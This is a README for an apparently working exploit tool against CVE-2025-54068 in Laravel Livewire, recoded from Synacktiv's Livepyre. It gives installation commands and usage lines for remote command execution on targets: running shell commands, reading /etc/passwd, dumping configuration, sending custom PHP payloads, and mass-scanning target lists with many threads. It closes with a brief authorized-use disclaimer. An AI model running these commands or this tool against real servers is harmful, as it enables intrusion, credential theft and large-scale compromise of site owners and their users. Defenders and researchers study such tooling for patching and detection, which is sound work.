CVE-2025-54068

A tool designed to exploit CVE-2025-54068 and Remote Command Execution if the APP_KEY of the Livewire project is known.

This tool is a recoded version of the original project by Synacktiv:

• Livepyre — https://github.com/synacktiv/Livepyre

The core concept and methodology are based on the original implementation. This version includes minor enhancements and additional features to improve usability and flexibility.

Installation

Install the tool using pipx:

pipx install git+https://github.com/haxorstars/CVE-2025-54068

or using uv:

uv tool install git+https://github.com/haxorstars/CVE-2025-54068

🚀 Basic Usage

Run the tool against a single target:

livewire-rce-2025 -u target.com

With custom parameters:

livewire-rce-2025 -u https://target.com -p "id;uname -a;pwd;ls -la"

🛠️ Custom Function

Execute predefined custom functions:

livewire-rce-2025 -u target.com --custom-function "shell:ls -la"
livewire-rce-2025 -u target.com --custom-function "read:/etc/passwd"
livewire-rce-2025 -u target.com --custom-function "phpinfo"
livewire-rce-2025 -u target.com --custom-function "config"

Combine multiple functions in one command:

livewire-rce-2025 -u target.com --custom-function "shell:whoami && shell:id && read:/etc/passwd"

🧩 Custom PHP File

Use your own PHP payload file:

livewire-rce-2025 -u target.com --custom-file custom.php --param "shell:id"

🧪 Generate Payload Only

Generate payload without sending it to the target:

livewire-rce-2025 -generate-payload --custom-function "shell:ls -la"

Or using a custom PHP file:

livewire-rce-2025 -generate-payload --custom-file custom.php

📦 Mass Check

Scan multiple targets from a file:

livewire-rce-2025 -mass-check targets.txt -o results.json

With custom thread count:

livewire-rce-2025 -mass-check targets.txt -t 20 -o results.json

⚠️ Disclaimer

This tool is intended for educational and authorized security testing purposes only. Do not use it against systems you do not own or have explicit permission to test.

Happy hacking😄